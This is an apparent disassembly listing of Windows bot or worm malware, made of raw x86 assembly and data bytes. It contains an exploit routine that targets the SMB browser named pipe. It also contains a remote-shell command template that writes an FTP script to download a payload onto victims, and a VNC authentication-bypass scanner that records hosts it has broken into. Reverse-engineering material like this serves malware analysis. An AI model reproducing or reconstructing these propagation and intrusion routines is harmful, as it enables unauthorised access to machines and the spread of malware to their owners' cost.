		db 0B8h	; ╦
		db 0DCh	; э
		db  60h	; `
		db    0
		db    0
		db 0E8h	; Х
		db  77h	; w
		db 0E1h	; А
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0B4h	; ╢
		db 0DBh	; ш
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0A7h	; ╖
		db 0F7h	; В
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; ш
		db  85h	; ┘
		db 0C0h	; ю
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  3Ch	; <
		db  29h	; )
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0A5h	; ╔
		db 0DFh	; ъ
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; Х
		db 0A6h	; ╕
		db 0DBh	; ш
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  89h	; ┴
		db  85h	; ┘
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ╦
		db    8
		db 0D8h	; ь
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; Х
		db  43h	; C
		db  8Dh	; █
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA14:				; CODE XREF: ___:0040DA0Dj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 26F0781h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA58


loc_40DA51:				; CODE XREF: ___:0040DB30j
					; ___:0040DD06j ...
		xor	al, al
		jmp	loc_40DE9C
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: ___:0040DA4Fj
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432914
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432900
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_40DB35


loc_40DB27:				; CODE XREF: ___:0040DC01j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 265092Ah
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DB35:				; CODE XREF: ___:0040DB25j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4328A8[esi], bl
		jz	short loc_40DBAC
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CE37C
		jmp	short loc_40DBBF
; ---------------------------------------------------------------------------


loc_40DBAC:				; CODE XREF: ___:0040DB98j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4328F7+1)


loc_40DBBF:				; CODE XREF: ___:0040DBAAj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_43289C[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB27
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4328A4[esi]
		push	7
		add	eax, edi
		push	offset dword_432890
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432730
		push	eax
		call	sub_41C310
		mov	eax, dword_4328A0[esi]
		add	esp, 30h
		cmp	byte_4328A8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB8
		push	4
		add	eax, edi
		push	offset dword_4CE374
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4328C0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCE0
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: ___:0040DC69j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4328C0


loc_40DCC9:				; CODE XREF: ___:0040DCDEj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC9


loc_40DCE0:				; CODE XREF: ___:0040DCB6j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0B
		push	dword ptr [ebp-4]
		nop
		call	near ptr 265092Ah
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DD0B:				; CODE XREF: ___:0040DCF4j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276A4
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD78


loc_40DD70:				; CODE XREF: ___:0040DD73j
		inc	eax
		test	al, 3
		jnz	short loc_40DD70
		mov	[ebp+0Ch], eax


loc_40DD78:				; CODE XREF: ___:0040DD6Ej
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26E0722h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE5:				; CODE XREF: ___:0040DE6Fj
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE7A
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE77
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE69
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DE50
		call	near ptr 26709D6h
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA51


loc_40DE50:				; CODE XREF: ___:0040DE3Dj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2680164h
		cmp	eax, 102h
		jnz	short loc_40DE69
		mov	byte ptr [ebp+0Bh], 1


loc_40DE69:				; CODE XREF: ___:0040DE1Cj
					; ___:0040DE63j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE5
		jmp	short loc_40DE7A
; ---------------------------------------------------------------------------


loc_40DE77:				; CODE XREF: ___:0040DE17j
		mov	esi, [ebp-8]


loc_40DE7A:				; CODE XREF: ___:0040DDE9j
					; ___:0040DE75j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE96
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE96:				; CODE XREF: ___:0040DE8Fj
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9C:				; CODE XREF: ___:0040DA53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db  81h	; │
		db 0ECh	; Л
		db 0A0h	; ═
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; Ж
		db  6Ah	; j
		db  10h
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0D5h	; у
		db 0D6h	; ж
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  0Ch
		db  8Dh	; █
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; г
		db  45h	; E
		db 0F0h	; П
		db    2
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db 0FFh
		db 0B5h	; ╣
		db 0C4h	; д
		db    0
		db    0
		db    0
		db  89h	; ┴
		db  45h	; E
		db 0F4h	; Т
		db  90h	; ░
		db 0E8h	; Х
		db  69h	; i
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ┴
		db  45h	; E
		db 0F2h	; Р
		db  90h	; ░
		db 0E8h	; Х
		db  36h	; 6
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ▀
		db 0D8h	; ь
		db  83h	; ┐
		db 0FBh	; Ш
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db 0E8h	; Х
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ©
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ▀
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db 0B8h	; ╦
		db  0Ch
		db  91h	; ▒
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  90h	; ░
		db 0B3h	; Ё
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0DFh	; ъ
		db 0CCh	; л
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  48h	; H
		db  29h	; )
		db  43h	; C
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; ░
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  37h	; 7
		db 0DAh	; з
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  86h	; ├
		db 0D0h	; п
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  8Ah	; ┼
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; ю
		db 0EBh	; К
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db  53h	; S
		db 0E8h	; Х
		db 0E7h	; Г
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; и
		db 0C3h	; ц
		db 53h
		dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
		dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
		dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
		dd 7D0h, 252ECAE8h, 83439002h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE3	proc near		; CODE XREF: sub_40E0D1+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B1
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		push	dword_4CB390
		push	[ebp+arg_0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B5


loc_40E0B1:				; CODE XREF: sub_40DFE3+50j
					; sub_40DFE3+62j
		xor	eax, eax
		jmp	short loc_40E0CC
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40DFE3+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40E0CC:				; CODE XREF: sub_40DFE3+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D1	proc near		; CODE XREF: sub_40C125+1EAp
					; DATA XREF: ___:off_431B04o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB694
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E143
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E124
		push	esi
		jmp	short loc_40E13D
; ---------------------------------------------------------------------------


loc_40E124:				; CODE XREF: sub_40E0D1+4Ej
		push	0
		push	1213h
		push	offset dword_4329BC
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E147


loc_40E13D:				; CODE XREF: sub_40E0D1+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40E143:				; CODE XREF: sub_40E0D1+3Cj
		xor	eax, eax
		jmp	short loc_40E189
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E0D1+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE3
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E186
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40E186:				; CODE XREF: sub_40E0D1+9Ej
		push	1
		pop	eax


loc_40E189:				; CODE XREF: sub_40E0D1+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18D	proc near		; CODE XREF: ___:0040E27Bp
					; ___:0040E2DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E195:				; CODE XREF: sub_40E18D+2Dj
		test	edi, edi
		jle	short loc_40E1C0
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jz	short loc_40E1BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BC
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E195
; ---------------------------------------------------------------------------


loc_40E1BC:				; CODE XREF: sub_40E18D+22j
					; sub_40E18D+27j
		xor	eax, eax
		jmp	short loc_40E1C3
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40E18D+Aj
		push	1
		pop	eax


loc_40E1C3:				; CODE XREF: sub_40E18D+31j
		pop	edi
		pop	esi
		retn
sub_40E18D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C6	proc near		; CODE XREF: ___:0040E2C7p
					; ___:0040E2F4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E203
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FD


loc_40E1D6:				; CODE XREF: sub_40E1C6+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E203
		test	eax, eax
		jz	short loc_40E203
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D6


loc_40E1FD:				; CODE XREF: sub_40E1C6+Ej
		push	1
		pop	eax


loc_40E200:				; CODE XREF: sub_40E1C6+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40E1C6+8j
					; sub_40E1C6+2Bj ...
		xor	eax, eax
		jmp	short loc_40E200
sub_40E1C6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433C00
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E235
		push	eax
		jmp	short loc_40E269
; ---------------------------------------------------------------------------


loc_40E235:				; CODE XREF: ___:0040E230j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB654
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E274
		push	ebx


loc_40E269:				; CODE XREF: ___:0040E233j
		call	dword_4CB6EC
		jmp	loc_40E46F
; ---------------------------------------------------------------------------


loc_40E274:				; CODE XREF: ___:0040E266j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E468
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2C0
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E468


loc_40E2C0:				; CODE XREF: ___:0040E2B4j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E468
		push	1
		push	offset dword_4CB50C
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F8
		push	edi
		push	esi
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch


loc_40E3F8:				; CODE XREF: ___:0040E3EBj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A73
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431B08[eax]
		push	ebx
		lea	eax, dword_431B08[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40E471
; ---------------------------------------------------------------------------


loc_40E468:				; CODE XREF: ___:0040E285j
					; ___:0040E2AAj ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40E46F:				; CODE XREF: ___:0040E26Fj
		xor	eax, eax


loc_40E471:				; CODE XREF: ___:0040E466j
